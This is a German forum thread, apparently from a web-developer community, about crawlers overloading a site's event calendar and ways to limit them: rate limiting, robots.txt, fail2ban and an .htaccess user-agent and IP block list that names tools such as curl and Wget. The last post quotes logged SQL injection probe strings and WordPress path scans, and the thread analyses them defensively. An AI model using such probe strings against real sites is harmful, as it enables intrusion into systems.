nicht angemeldet fietur
Robert B.
TS
TS
Tabellenkalk
fietur
fietur
fietur
fietur
fietur
fietur
Hallo,
ich betreibe eine nicht-kommerzielle Webseite, die monatlich sechsstellige Zugriffszahlen hat. Aber leider nicht annähernd so viele Besucher, die sind eher im niedrigen dreistelligen Bereich.
Eine der Ursachen ist die überbordende Abfrage eines Veranstaltungskalenders durch Bots, hauptsächlich durch den GoogleBot. Der öffentlich zugängliche Bereich (mit dem Kalender) kommt ohne JS und Cookies aus, so dass ich die Parameter für den Kalender (Zeitraum, regionale und thematische Filter) im URL an das ausliefernde php-Skript liefere. Und leider variieren die Bots mittlerweile die verschiedenen Möglichkeiten, diese Parameter einzustellen - mit der Folge, dass zahlreiche Varianten abgefragt werden.
Die Kalender-Seite in der robots.txt für crawler generell zu sperren, möchte ich eigentlich nicht; auch wenn ich eigentlich nicht auf eine Sichtbarkeit im Netz angewiesen bin. Außerdem wäre dies nicht zielführend. Google selbst schlägt vor, den Zugriff in der robots.txt zu erlauben und dann im meta-Tag der Seite das Indizieren zu verbieten.
Ich könnte beispielsweise - nur bei Anfragen mit über die Standardeinstellung hinausgehenden Parametern - in der .htaccess ein Header set X-Robots-Tag "noindex, nofollow" verwenden.
Sollte ich das so machen, oder habt ihr bessere Vorschläge?
Hallo fietur,
ich betreibe eine nicht-kommerzielle Webseite, die monatlich sechsstellige Zugriffszahlen hat. Aber leider nicht annähernd so viele Besucher, die sind eher im niedrigen dreistelligen Bereich.
Nun ja, Zugriffszahlen ≠ Zugriffe. Das ist ja eine alte Fragestellung im Web: Wie viele Zugriffe gehören zu einem Seitenbesucher?
Eine der Ursachen ist die überbordende Abfrage eines Veranstaltungskalenders durch Bots, hauptsächlich durch den GoogleBot.
Denn kann man doch in der Statistik sehr gut herausfiltern, weil der sich als solcher zu erkennen gibt.
Der öffentlich zugängliche Bereich (mit dem Kalender) kommt ohne JS und Cookies aus, so dass ich die Parameter für den Kalender (Zeitraum, regionale und thematische Filter) im URL an das ausliefernde php-Skript liefere. Und leider variieren die Bots mittlerweile die verschiedenen Möglichkeiten, diese Parameter einzustellen - mit der Folge, dass zahlreiche Varianten abgefragt werden.
Bots basteln sich aus den URL-Parametern neue URL-Aufrufe? Das liest sich merkwürdig, zumal im Satz davor noch explizit ein sehr bekannter Suchmaschinen-Roboter genannt wird.
Die Kalender-Seite in der robots.txt für crawler generell zu sperren, möchte ich eigentlich nicht; auch wenn ich eigentlich nicht auf eine Sichtbarkeit im Netz angewiesen bin.
Was ist denn dein eigentliches Problem? Dir kann es doch erst einmal gleichgültig sein, wie deine Seiten von Bots aufgerufen werden, sofern sie keinen Schaden anrichten (können).
Viele Grüße
Robert
Hallo,
... GoogleBot.
Denn kann man doch in der Statistik sehr gut herausfiltern, weil der sich als solcher zu erkennen gibt.
im Prinzip ja. Ich habe aber auch schon gelesen, dass Google sowohl mit dem klar erkennbaren Bot crawlt, als auch mit Incognito-Bots, um festzustellen, ob Suchmaschinen eine Extrawurst bekommen.
Was ist denn dein eigentliches Problem? Dir kann es doch erst einmal gleichgültig sein, wie deine Seiten von Bots aufgerufen werden, sofern sie keinen Schaden anrichten (können).
Naja, wenn Bot-Abfragen die Mehrheit der Requests ausmachen, bedeutet das, dass dafür viel Bandbreite und Server-Leistung draufgeht. Vielleicht möchte man das nicht.
Ciao,
Martin
Naja, wenn Bot-Abfragen die Mehrheit der Requests ausmachen, bedeutet das, dass dafür viel Bandbreite und Server-Leistung draufgeht. Vielleicht möchte man das nicht.
Genau, ich hatte dasselbe Problem, ebenfalls in einem Kalender.
Massenhafte Aufrufe im Zehntel-Sekunden-Takt zogen die Durchlaufzeit von Programmen extrem in die Länge.
Nun speichere ich bei jedem Zugriff die IP temporär und lasse den nächsten Zugriff erst nach 3 sec zu. Alle Seiten werden über die index.php aufgerufen mit entsprechenden Parametern, haben also ein zentrales Eingangstor.
Wer schneller ist als 3 sec, der sieht
Der Martin
Linuchs
Auge|| index.php: HTTP/1.0 429 Too Many Requests
|| Server überlastet / overloaded, bitte Seite nach 3 sec erneut aufrufen
Linuchs
Wer schneller ist als 3 sec, der sieht
|| index.php: HTTP/1.0 429 Too Many Requests || Server überlastet / overloaded, bitte Seite nach 3 sec erneut aufrufen
Also nachdem er die Seite requestet hat. Hat das einen Request verhindert? Nein.
Also nachdem er die Seite requestet hat. Hat das einen Request verhindert? Nein.
Warum auch, die Programmausführung wird vereitelt. Statt normal 0,4 sec oder unter Bombardement 4 .. 10 sec ist das Programm nach der Meldung in 0,04 sec fertig.
Hello Rolf,
Wer schneller ist als 3 sec, der sieht
|| index.php: HTTP/1.0 429 Too Many Requests || Server überlastet / overloaded, bitte Seite nach 3 sec erneut aufrufenAlso nachdem er die Seite requestet hat. Hat das einen Request verhindert?
Nein.
Durchaus berechtigter Einwand. Linuchs hat Dir ja schon passend darauf geantwortet.
Es ist der erste Schritt, die Erkennung unerwünschter Requests so weit wie möglich Richtung "Schicht Null" zu verschieben und somit Last von den teureren Systemen zu nehmen. Weitere mögliche Schritte, die leider dann auch statistisch einige Fehler produzieren werden (nicht alle Requestes aus China sind böse), hatte ich schon beschrieben.
Ob es sinnvoll wäre, zusätzlich die Abuse-Sachbearbeiter der störenden IP jedes Mal höflich darauf aufmerksam zu machen, dass in ihrem Netzbereich ein schwarzes Schaf sitzt, müsste man separat diskutieren. Zumindest mache ich dies seit einiger Zeit partiell und glaube feststellen zu können, dass es etwas nützt.
Welche Maßnahmen ein Dienstanbieter technisch ergreifen kann, um seine schwarzen Schafe automatisch zu identifizieren, interessiert mich aber auch! So eine Art fail2ban für ausgehende Requests würde mich schon interessieren.
Glück Auf
Tom vom Berg
Die Bots kommen sowieso und requesten Deine Seiten, noindex, nofollow verhindern das nicht. MFG
Hello,
Hast Du eine offene Zielgruppe, oder eine geschlossene?
Im zweiten Fall kämem die Zugriffe ja sowieso nur bis zur Zugriffskontrolle/Authorisation und dann zum Dispatcher.
wieviele ordentliche Zugriffe™ hättest Du schätzungsweise noch, wenn Du die Bots total aussperren würdest? Gemeint ist: woher kennen die ordentlichen™ Besucher deine Seite?
Wie sieht dein Marketingplan (Pos: Kommunikation) aus?
Wenn Du nur eine geschlossene Zugriffsgruppe bedienen willst, schreibe ein Log für Fehlversuche. Dieses kannst Du dann bei fail2ban anmelden. Somit würden mehrfache Fehlversuche über die IP unterbunden. (Achtung: dies ist nur ein statistisches, also prozentual fehlerträchtiges Mittel). Eine Stufe schärfer wäre dann noch die Einrichtung des Filters "recidive" für fail2ban. Damit könntest Du Mehrfach-Mehrfach-Verletzer (sic!) für längere Zeit bis dauerhaft aussperren.
Ad Infinitum fürde dies dann zum LAN bzw. Einzelplatz führen.
Der philosophische Ansatz des WWW bedeutet aber teilen!
Überlege also genau, welche Informationen für welche Zielgruppe frei verfügbar sein sollen und richte den Server und den Host (z. B. mit Logging
und fail2ban) dafür gezielt ein.
Das Prinzip dahinter ist aber die passende (Ent)schichtung der Aufgaben. Eine PHP-Applikation könnte zwar alle Schichten bedienen, sollte dies aber nicht tun.
Glück Auf
Tom vom Berg
fal2ban verhindert nicht daß Suchmaschinen die Seiten weiterhin requesten. Ein Bot entscheidet anhand Responsestatus ob die Seite indiziert wird. Man kann also höchstens dafür sorgen daß Bots die Seiten nicht indizieren, aber daß die Seiten weiterhin von Bots requestet werden oder nicht, daß entscheiden nur die Suchmaschinenbetreiber.
Und selbst wenn man eine Seite entfernt wird sie weiterhin requestet. MFG
Hello,
fal2ban verhindert nicht daß Suchmaschinen die Seiten weiterhin requesten. Ein Bot entscheidet anhand Responsestatus ob die Seite indiziert wird. Man kann also höchstens dafür sorgen daß Bots die Seiten nicht indizieren, aber daß die Seiten weiterhin von Bots requestet werden oder nicht, daß entscheiden nur die Suchmaschinenbetreiber.
Und selbst wenn man eine Seite entfernt wird sie weiterhin requestet. MFG
hä?
Wenn der Bot nicht mehr herankommt, kann er nicht mehr aktuell indizieren.
Glück Auf
Tom vom Berg
Wenn der Bot nicht mehr herankommt, kann er nicht mehr aktuell indizieren.
Genau das ist der Denkfehler. In den G-Entwicklertools heißt das: Die Seite ist auf G aber nicht indiziert. Und solange G eine Seite kennt, kommt der Bot und requestet diese.
MFG
Hello,
Wenn der Bot nicht mehr herankommt, kann er nicht mehr aktuell indizieren.
Genau das ist der Denkfehler. In den G-Entwicklertools heißt das: Die Seite ist auf G aber nicht indiziert. Und solange G eine Seite kennt, kommt der Bot und requestet diese.
Glück Auf
Tom vom Berg
Moin,
Wenn der Bot nicht mehr herankommt, kann er nicht mehr aktuell indizieren.
Genau das ist der Denkfehler. In den G-Entwicklertools heißt das: Die Seite ist auf G aber nicht indiziert. Und solange G eine Seite kennt, kommt der Bot und requestet diese.
requesten kann der Bot viel, wenn fail2ban sagt, dass er die falschen Schuhe an hat, ist das nur der Response.
Viele Grüße
Robert
Und selbst wenn man eine Seite entfernt wird sie weiterhin requestet. MFG
hä?
Wenn der Bot nicht mehr herankommt, kann er nicht mehr aktuell indizieren.
Also, wie ich die Dinge sehe will @fietor die Request einhegen. PL liegt also insoweit schon mal richtig.
Ich habe ja diese Netztools welche die Whois-Daten vin IPs, Domainen, Netzen und dergleichen auswerten und selbst neue Links erzeugen. Dadurch entstehen "Abermillionen" Links...
Ich habe jetzt die Erfahrung gemacht, dass insbesondere bots, die sich als
vorstellten (das ist seitens des Abrufers im Rahmen der Möglichkeiten seiner Software frei bestimmbar), "mächtig Mist bauten", insbesondere Angaben zur Abruffrequenz in der robots.txt und die nofollow-Eigenschaft für Links ignorierten (welche Google beachtet!). Ich rede hier von ca. 100.000 Zugriffen auf meine Netztools im Dezember ...
| Bot | Zugriffe |
|---|---|
| dotbot | 76899 |
| SemrushBot | 8258 |
| AhrefsBot | 22817 |
... welche verständlicherweise die Konsequenz nach sich zogen, dass RIPE meinen Webserver als böse ansah und keine whois-Daten mehr rausrückte.
Das Problem habe ich dann durch folgende, durchaus harte und völlig überzogene Maßnahme in den Griff bekommen:
.htaccess (Nur auf diese habe ich Zugriff)
### Warnung: Nutzung auf eigene Gefahr!
### Warning: Using this on your OWN RISC!
ErrorDocument 403 "Forbidden."
Require expr %{HTTP_USER_AGENT} !~ /ahrefs/i
Require expr %{HTTP_USER_AGENT} !~ /datanyze/i
Require expr %{HTTP_USER_AGENT} !~ /opensiteexplorer/i
Require expr %{HTTP_USER_AGENT} !~ /SemrushBot/i
Require expr %{HTTP_USER_AGENT} !~ /LinkFinder/i
Require expr %{HTTP_USER_AGENT} !~ /GSLFbot/i
Require expr %{HTTP_USER_AGENT} !~ /sistrix/i
Require expr %{HTTP_USER_AGENT} !~ /zooms/i
Require expr %{HTTP_USER_AGENT} !~ /majesti/i
Require expr %{HTTP_USER_AGENT} !~ /omgili/i
Require expr %{HTTP_USER_AGENT} !~ /ows 98/i
Require expr %{HTTP_USER_AGENT} !~ /extrabot/i
Require expr %{HTTP_USER_AGENT} !~ /ahrefs/i
Require expr %{HTTP_USER_AGENT} !~ /Java/i
Require expr %{HTTP_USER_AGENT} !~ /youtech/i
Require expr %{HTTP_USER_AGENT} !~ /seokicks/i
Require expr %{HTTP_USER_AGENT} !~ /Seznam/i
Require expr %{HTTP_USER_AGENT} !~ /esri/i
Require expr %{HTTP_USER_AGENT} !~ /warebay/i
Require expr %{HTTP_USER_AGENT} !~ /libwww/i
Require expr %{HTTP_USER_AGENT} !~ /Solomo/i
Require expr %{HTTP_USER_AGENT} !~ /WWWC/i
Require expr %{HTTP_USER_AGENT} !~ /ip-web/i
Require expr %{HTTP_USER_AGENT} !~ /panopta/i
Require expr %{HTTP_USER_AGENT} !~ /curl/i
Require expr %{HTTP_USER_AGENT} !~ /Wget/i
Require expr %{HTTP_USER_AGENT} !~ /Spider/i
Require expr %{HTTP_USER_AGENT} !~ /ntegrome/i
Require expr %{HTTP_USER_AGENT} !~ /andwatch/i
Require expr %{HTTP_USER_AGENT} !~ /SearchBot/i
Require expr %{HTTP_USER_AGENT} !~ /spinn3/i
Require expr %{HTTP_USER_AGENT} !~ /BLEX/i
##ewige Sperren:
#opensiteexplorer.org:
deny from 216.244.64.0/19
#ahrefs.com:
deny from 54.36.148.0/24
deny from 54.36.149.0/24
deny from 54.36.150.0/24
deny from 195.154.122.0/24
deny from 195.154.123.0/24
deny from 195.154.126.0/24
deny from 195.154.127.0/24
#Datanyze (bad robot)
deny from 45.55.252.28
deny from 45.55.255.88
deny from 104.236.118.204
deny from 138.197.104.18
deny from 138.197.111.244
deny from 138.197.104.6
deny from 142.93.71.91
deny from 142.93.75.171
deny from 142.93.78.12
deny from 142.93.184.162
deny from 159.203.88.194
Die IPs habe ich im Web herausgesucht, teils selbst in den Logs gesehen und habe recht großzügig gesperrt...).
Mit "datanyze" kam ein robot vorbei, dessen Abfragen mir gar nicht gefallen haben. Er wurde auch von anderen als "bad robot" klassifiziert.
Hinweise:
Die Aufrufe finden natürlich weiterhin statt, bis die Betreiber merken, dass da nur Fehlermeldungen kommen. Besser wäre es, man würde die betreffenden IP-Bereiche gleich in der Firewall zu blockieren.
Freilich kann ich auch testen, ob ein Mensch den Abruf macht… Das will ich aber erst mal vermeiden.
nofollow wird oft mißverstanden. Wer denkt daß nofollow den Bots verbietet die Seite zu requesten denkt falsch.
MFG
"Verbieten" geht ganz klar nicht, aber google wird sich bis zum 1.3.2020 daran halten und nofollow-Links nicht folgen… empfiehlt die robots.txt für „Sperren“.
Dotbot hat fast eine DDoS-Attacke gefahren als es versuchte, „quasi das ganze Internet“ über meine Seite abzurufen. Auch den Crawl-delay aus der robots.txt hat dotbot missachtet.
DoS ziehlt darauf ab den Service lahmzulegen. Wenn man versucht, DoS am Server selbst abzuwehren, mit den hier beschriebenen Methoden, ist das zu spät oder besser gesagt unsinnig.
Eine DoS Abwehr muss vor dem Server greifen!
MFG
DoS ziehlt darauf ab den Service lahmzulegen. Wenn man versucht, DoS am Server selbst abzuwehren, mit den hier beschriebenen Methoden, ist das zu spät oder besser gesagt unsinnig.
Eine DoS Abwehr muss vor dem Server greifen!
Blödsinn. Klar ist es noch besser, wenn ein vorgeschalteter Mechanismus (z.B. Loadbalancer) eingreift.
Den hat man aber nicht zwangsläufig zur Verfügung.
Selbst wenn man im einfachsten Fall nur via .htaccess (mittels Prüfung auf User-Agent/IP) den Request abweist, statt "teure" Script-Operation zu starten, hat man schon eine ganze Menge gewonnen.
Selbst wenn man im einfachsten Fall nur via .htaccess (mittels Prüfung auf User-Agent/IP) den Request abweist, statt "teure" Script-Operation zu starten, hat man schon eine ganze Menge gewonnen.
.htaccess ist Serverkonfiguation. Da kann man keinen Request abweisen, denn der ist da bereits angekommen.
MFG
Selbst wenn man im einfachsten Fall nur via .htaccess (mittels Prüfung auf User-Agent/IP) den Request abweist, statt "teure" Script-Operation zu starten, hat man schon eine ganze Menge gewonnen.
.htaccess ist Serverkonfiguation. Da kann man keinen Request abweisen, denn der ist da bereits angekommen.
Einverstanden! Dann formuliere ich gerne um:
Selbst wenn man im einfachsten Fall nur via .htaccess (mittels Prüfung auf User-Agent/IP) die Weiterverarbeitung des Request unterbindet, statt "teure" Script-Operation zu starten, hat man schon eine ganze Menge gewonnen.
Möchtest Du dieser Formulierung argumentativ etwas entgegensetzen? Mein Tipp lautet: nein.
Hallo,
Eine DoS Abwehr muss vor dem Server greifen!
Reicht es, wenn sie beim Angreifer greift, oder noch weiter vorher?
Gruß
Kalk
Reicht es, wenn sie beim Angreifer greift, oder noch weiter vorher?
Bei seiner/ihrer Mutter!
Hello,
Reicht es, wenn sie beim Angreifer greift, oder noch weiter vorher?
Bei seiner/ihrer Mutter!
☆☆grins☆☆
Durchaus wahr!
Sind es jetzt eigentlich Mother- oder Father-Processes, die dies steuern?
Dazu muss man aber auch seine eigenen Systeme schützen, damit sie nicht (unbemerkt) zu Zombie-Children dieser Parents werden. Dies schützt dann zumindest andetd Netzteilnehmer.
Mich würden mögliche Maßnahmen hierfür interessieren!
Glück Auf
Tom vom Berg
Mich würden mögliche Maßnahmen hierfür interessieren!
Ohne genau zu wissen, worauf Du jetzt hinaus willst: ich finde das ganze Thema eher müssig. Es gibt eine ganze Latte an Strategien, der Problematik als solches zu begegnen. Manche können durchaus hilfreich sein, manche weniger.
Je mehr man dabei in die Tiefe geht, wird das IMHO letztlich mehr eine akademische als eine praxisnahe Frage. Ich habe jetzt auch schon ein oder zwei Systeme gebaut / betreut / bereut und bin überzeugt, dass die Zeit besser investiert ist, sich um funktionale und performante Lösungen zu bemühen.
Wenn jemand wirklich DoS provozieren will, dann wird er es auch schaffen. Bei meineprivatehomepe.example.org auf einem Rasberry PI im Keller natürlich leichter als bei Amazon, klar.
IPs und/oder User-Agents auf eine zu Blacklist setzen, ist da schon eine ganz gute und praxisnahe Strategie.
Hello,
das ist leider wenig hilfreich.
Es ist Fakt, dass über europäische dynamische IPs (DSL o. ä.) bzw. Glasfaser-Heimanschlüsse fast gar keine Angriffe[1] erfolgen. Die Filter der Access-Anbieter scheinen diese Versuche also detektieren zu können. Vom "Raspi zuhause" wird daher nicht viel kommen können.
Wie dies funktioniert, wüsste ich gerne für unsere paar VHosts.
[1] einzelne Fehlzugriffe von DSL-IPs (bis zu 3) finden statt, aber nur ganz selten soviele, dass unser INPUT-Filter für Wiederholungstäter Alarm schlägt.
Von statischen IPs kommen hingegen reichlich Angriffe von Wiederholungstätern.
Glück Auf
Tom vom Berg
Es ist Fakt, dass über europäische dynamische IPs (DSL o. ä.) bzw. Glasfaser-Heimanschlüsse fast gar keine Angriffe[1] erfolgen.
Klar. Die (west- und mittel-) europäischen Hacknixs nehmen wegen des vergleichbar hohen Verfolgungsdrucks Tor oder mieten im Ausland Server. Asiatische oder russische Hacker (oder „Sicherheitsfirmen, die Nessus auf IPs schießen um dann ihre Leistungen anbieten zu können“) haben weniger zu befürchten.
Von statischen IPs kommen hingegen reichlich Angriffe von Wiederholungstätern.
Hm. Welche der Aussagen soll denn bitteschön falsch sein?
Hello,
Hm. Welche der Aussagen soll denn bitteschön falsch sein?
Es gibt hier humorlose Leute, die es nicht leiden können, wenn Andere etwas zu Lachen haben. :-O
Von europäischen statischen IPs bekomme ich immer noch reichlich Mehrfachversuche Nur rufe ich da meistens die IP-Vergeber sofort an und führe ein freundliches Gespräch. Die betroffenen VHost-Kunden werden oft gleich rausgeschmissen, denn ich bin meistens nicht der Einzige, der sich meldet.
Habe gerade heute wieder einen hartnäckigen Fall gehabt.
Glück Auf
Tom vom Berg
Hallo,
Eine DoS Abwehr muss vor dem Server greifen!
Reicht es, wenn sie beim Angreifer greift, oder noch weiter vorher?
Vor dem Server heißt daß der Server in einer DMZ betrieben wird. MFG
Vor dem Server heißt daß der Server in einer DMZ betrieben wird.
In einem Rechenzentrum, welches ausschließlich Webserver und dergleichen betreibt, dürfte (schon mangels eines Intranets) eine DMZ allenfalls in Teilbereichen vorhanden sein, die mit dem Webhosting nur mittelbar zu tun haben.
Vor dem Server heißt daß der Server in einer DMZ betrieben wird.
In einem Rechenzentrum, welches ausschließlich Webserver und dergleichen betreibt, dürfte (schon mangels eines Intranets) eine DMZ allenfalls in Teilbereichen vorhanden sein, die mit dem Webhosting nur mittelbar zu tun haben.
Von einem Webhoster der seine Server nicht in einer DMZ betreibt würde ich Abstand nehmen. MFG
Von einem Webhoster der seine Server nicht in einer DMZ betreibt würde ich Abstand nehmen.
Soso. Dein Hoster netbuild.net betreibt seine Server also in einer DMZ, ja? Magst Du uns dazu eine Referenz mitteilen?
Von einem Webhoster der seine Server nicht in einer DMZ betreibt würde ich Abstand nehmen.
Soso. Dein Hoster netbuild.net betreibt seine Server also in einer DMZ, ja? Magst Du uns dazu eine Referenz mitteilen?
Im Zeitalter von Bigdata, DSGV, WikiLeaks, Globalisierung usw. könnte man sich auch einfach mal selbst mit solchen Themen befassen.
Im Übrigen hat dieser Provider Kunden die aus ganz anderen Banchen kommen und sehr wohl wissen was eine DMZ ist und warum sie sich gerade deswegen für diesen Provider entschieden haben.
MFG
Soso. Dein Hoster netbuild.net betreibt seine Server also in einer DMZ, ja? Magst Du uns dazu eine Referenz mitteilen?
Im Zeitalter von Bigdata, DSGV, WikiLeaks, Globalisierung usw. könnte man sich auch einfach mal selbst mit solchen Themen befassen.
Auf jeden Fall. Ich möchte da auch wirklich dringend an mir arbeiten. Es ist schön, wenn man da von Fachleuten bei Gelegenheit mal in die richtige Richtung geschubst wird. Danke Dir.
Im Übrigen hat dieser Provider Kunden die aus ganz anderen Banchen kommen und sehr wohl wissen was eine DMZ ist und warum sie sich gerade deswegen für diesen Provider entschieden haben.
Das ist schön. Möchtest Du uns darüber hinaus eventuell noch den Nachweis erbringen, dass Deine „einige tausend Seiten“ bei NET-BUILD in einer DMZ gehostet werden? Das wäre lieb. Danke.
Hallo,
Im Übrigen hat dieser Provider Kunden die aus ganz anderen Banchen kommen und sehr wohl wissen was eine DMZ ist und warum sie sich gerade deswegen für diesen Provider entschieden haben.
Was bin ich froh, dass mein Hoster seine Server auch in einer DMZ betreibt. Wäre ja fatal, wenn das interne Netz meines Hosters, der sein Büro irgendwo bei Köln hat, in Mitleidenschaft gezogen wird, wenn die Kundenserver, die in Frankfurt stehen, angegriffen werden.
Gruß
Patrick
Hallo Patrick,
Was bin ich froh, dass mein Hoster seine Server auch in einer DMZ betreibt. Wäre ja fatal, wenn das interne Netz meines Hosters, der sein Büro irgendwo bei Köln hat, in Mitleidenschaft gezogen wird, wenn die Kundenserver, die in Frankfurt stehen, angegriffen werden.
Frankfurt ist aber immer noch besser als Offenbach!
»Wäre Marilyn Monroe an der Seite einer kleinen, dürren, pickeligen, ihr Leben lang Zahnspange tragenden Schwester durchs Leben gegangen, hätte man sagen können: Frankfurt und Offenbach wirkten nebeneinander wie die Monroe-Schwestern.« Dies schreibt der in Berlin und Südfrankreich lebende, in Frankfurt aufgewachsene Kriminal- und anderweitige Schriftsteller Jakob Arjouni in seinem Roman »Kismet«...
[...]
Das Land Hessen, die Bundesrepublik Deutschland, Europäische wie Sowjetunion – alle maßgeblichen politischen Instanzen haben Offenbach längst aufgegeben. Nur der lokale Fußballclub wird außerhalb der Stadtgrenzen noch manchmal als Botschafter von Gewalt, verfehlter Einkaufspolitik und drittklassigem Fußball wahrgenommen, und wer aus guten staatsbürgerlichen Gründen gegen den Einsatz der Bundeswehr im Inneren ist, der hat noch kein Auswärtsspiel des OFC gesehen. Und kein Heimspiel. Und kein Trainingsspiel auch nicht.
aus der Titanic
Bis bald! Jonathan
Dotbot hat fast eine DDoS-Attacke gefahren
DoS ziehlt darauf ab den Service lahmzulegen. Wenn man versucht, DoS am Server selbst abzuwehren, mit den hier beschriebenen Methoden, ist das zu spät oder besser gesagt unsinnig.
Eine DoS Abwehr muss vor dem Server greifen!
Die Zeit, darüber zu sinnieren, was wohl das „fast“ in „Dotbot hat fast eine DDoS-Attacke gefahren“ bedeutet, sollte man schon aufwenden, wenn man mir schon antwortet. Das das engliche „fast“ (teutonisch: „schnell“) war dem Satz nach nicht gemeint…
Darüber hinaus: Wenn es ausreicht, einer DDoS-Attacke auf eine Weise zu begegnen, dass der "DoS" (Überlastung des Webservers) bei Weitem nicht eintritt (hier durch Aussenden nur der HTTP-Header und ein paar Byte statischen Text), dann ist Dein „muss“ ziemlich fragwürdig.
Darüber hinaus: Wenn es ausreicht, einer DDoS-Attacke auf eine Weise zu begegnen, dass der "DoS" (Überlastung des Webservers) bei Weitem nicht eintritt (hier durch Aussenden nur der HTTP-Header und ein paar Byte statischen Text), dann ist Dein „muss“ ziemlich fragwürdig.
Genau das ist der Trugschluss. MFG
Darüber hinaus: Wenn es ausreicht, einer DDoS-Attacke auf eine Weise zu begegnen, dass der "DoS" (Überlastung des Webservers) bei Weitem nicht eintritt (hier durch Aussenden nur der HTTP-Header und ein paar Byte statischen Text), dann ist Dein „muss“ ziemlich fragwürdig.
Genau das ist der Trugschluss.
… sagt der Mann auf dem Glatteis.
Darüber hinaus: Wenn es ausreicht, einer DDoS-Attacke auf eine Weise zu begegnen, dass der "DoS" (Überlastung des Webservers) bei Weitem nicht eintritt (hier durch Aussenden nur der HTTP-Header und ein paar Byte statischen Text), dann ist Dein „muss“ ziemlich fragwürdig.
Genau das ist der Trugschluss. … sagt der Mann auf dem Glatteis.
Also mal ehrlich, würdest Du Deinen Kunden erklären daß man DDoS Attacks am Webserver abwehren kann? Das ist ziemlich dünnes Eis auf das Du Dich damit begibst!
MFG
Also mal ehrlich, würdest Du Deinen Kunden erklären daß man DDoS Attacks am Webserver abwehren kann? Das ist ziemlich dünnes Eis auf das Du Dich damit begibst!
Also mal ehrlich: Dir ist schon bewusst, dass ein schnödes „HTTP-503 Service Unavailable“ seitens des Webservers weit weniger Last erzeugt, als z.B. ein (weil Du es bist) Perl-Script zu starten, welches eine Datenbankverbindung aufbaut, SQL-Queries fährt, Templates rendert... ?
Also, wie ich die Dinge sehe will @fietor die Request einhegen. PL liegt also insoweit schon mal richtig.
Genau. Hier mal eine Auswahl der bisherigen Zahlen der Client Domains vom Januar:
Wie man sieht, benimmt sich der bingbot (msn.com) nicht so gierig (obwohl er jetzt auch damit beginnt, den Kalender mitsamt Parametern abzufragen - aber nicht so häufig).
Die robots.txt ist manchmal durchaus erfolgreich. Ich hatte letztes jahr sehr viele Aufrufe durch den AhrefsBot, seit er ein disallow erhalten hat, taucht er in den logs überhaupt nicht mehr auf.
Die Zugriffe durch den SemrushBot sind ausschließlich Abfragen der robots.txt - offiziell hält auch er sich an sein disallow.
Die Aufrufe aus dem Vodafone-Netz (wie auch weitere nicht aufgeführte) sind hingegen größtenteils reale Besucher.
Von your-server.de hingegen kommen aus 1und1 schon ziemlich unverholen bösärtige Tests (wie Abfragen nach wp-admin/install.php). Ob der in der .htaccess vorgeschobene Riegel greift, wird sich noch zeigen. Bisher sieht es noch nur nach Schrotschuss ins Netz durch einen Bot aus.
Mehr Sorgen bereitet mir das Auftauchen von chinesischen Abfragen wie durch hwclouds-dns.com; diese aus dem Huawei-Funknetz versuchen sich durch unterschiedliche IPs (China, aber auch USA) und koordinierte Abfragen mit "unauffälligen" Abfragen, also nicht en bloc, zu verbergen. Noch sind sie einfach zu erkennen (zh-CN, LieBaoFast), aber es ist nur eine Frage der Zeit, bis sich das ändert.
Das ist aber ein anderes Thema, hier geht es mir tatsächlich um ein für alle Seiten sinnvolles Begrenzen.
Genau. Hier mal eine Auswahl der bisherigen Zahlen der Client Domains vom Januar:
- googlebot.com: 205k
- your-server.de: 150k
- msn.com: 3400
- semrush.com: 1400
- hwclouds-dns.com: 200
- vodafone-ip.de: 180
Wie man sieht, benimmt sich der bingbot (msn.com) nicht so gierig (obwohl er jetzt auch damit beginnt, den Kalender mitsamt Parametern abzufragen - aber nicht so häufig).
„hwclouds-dns.com“: Du machst offenbar eine reverse-DNS-Auflösung. Die ist, wenn man so loggt, sehr „teuer“.
Hm. Ich schau mir gerne die Requests dazu an.
„hwclouds“ und „your-server“ sind auf jeden Fall Hoster, die Teils Webspace, teils (virtuelle) Server vermieten.
Wenn von dort merkwürdige und seltsam aussehende Request kommen, die auf einen Angriffsversuch oder Tools wie nessus hindeuten, dann ist da entweder direkt ein Bösewicht am Werk (Manche mieten ja sogar Server mit geklauten Kreditkartendaten), oder etwas wie eine WordPress-Installation (meinetwegen auch ein Framework) wurde geknackt oder es ist ein Tor-Exit.
Alles Sperr-Gründe. Auf dem Webserver werfe ich die IPs oder IP-Bereiche in die htaccess ein, zu Hause in die Firewall.
Bei "eher vertrauenswürdigen" Besitzern der Server bzw. Inhabern der IPs (z.B. "your-server.de" zähle ich da mal mit) geht, sofern der Angriffsversuch eine gewisse Heftigkeit überschreitet, eine Nachricht mit Auszug aus den Logs an den Abuse. Regelmäßig ist dann die betreffende IP nur wenig später nicht mehr erreichbar. Das mache ich aber vielleicht einmal im Monat, eher seltener.
„hwclouds“ und „your-server“ sind auf jeden Fall Hoster, die Teils Webspace, teils (virtuelle) Server vermieten.
Ich habe lange Zeit überhaupt nicht in die Logs meines Hosters geschaut, sondern mein eigenes Süppchen gekocht.
Mit der DSGO hat sich das dann etwas geändert, als mir klar wurde, dass und was mein Hoster sowieso mitlogt. Anonymisierte IPs zum Beispiel. Und Statistiken, in denen bestimmte Server wie hwscloud und your-server immer wieder auftauchen. Bei mir, wohl gemerkt. Andere Kunden dieser Provider werden völlig harmlos sein.
Ich halte die allermeisten Provider auch nicht für Schurken, und ich denke, dass diejenigen, die sich tatsächlich durch aktives Wegsehen auszeichnen, nicht dauerhaft halten können, bevor ihr Ruf so weit gesunken ist, dass sie tatsächlich nur noch mit dubiosen Kunden eine Weile existieren, bis ihre IPs geächtet werden.
Bei mir waren aber ausnahmslos alle Aufrufe aus bestimmten Quellen zweifelhaft. Ein paar Beispiele:
...99999unionselectunhexhexversion--xx
/wp-login.php
/wp-includes/js/jquery/jquery.js
/admin/view/javascript/common.js
/administrator/language/en-GB/install.xml
...%20and%20USER()=USER()%20and%2021=21...
...%20and%20VERSION()>=4%20and%2021=21...
...%20and%20ascii(substr((user()),1,1))>63%20and%2021=21...
Getestet wird das Vorhandensein bestimmter Ordner zB von Wordpress-Installationen. In der ersten Zeile findet sich SQL-Syntax wieder, in den letzten drei Zeilen als Einschübe bei den Parametern der Kalenderseite soll wohl Code injiziert werden. Das Abrufmuster (insgesamt nur eine Minute, mit einer Handvoll Abrufen jede Sekunde, etwa soviel, wie mein langsamer php-Skriptzirkus halt liefern kann) ist jedenfalls nicht "zufällig" von einem unbeabsichtigt schlecht programmierten Rechner losgetreten worden.
Ich glaube aber nicht, dass mein Server da gezielt ausgesucht wurde. Nicht weil er uninteressant ist - jeder Rechner für ein Botnetz hat seinen Wert -, sondern er ist einfach einer auf einer langen Liste.
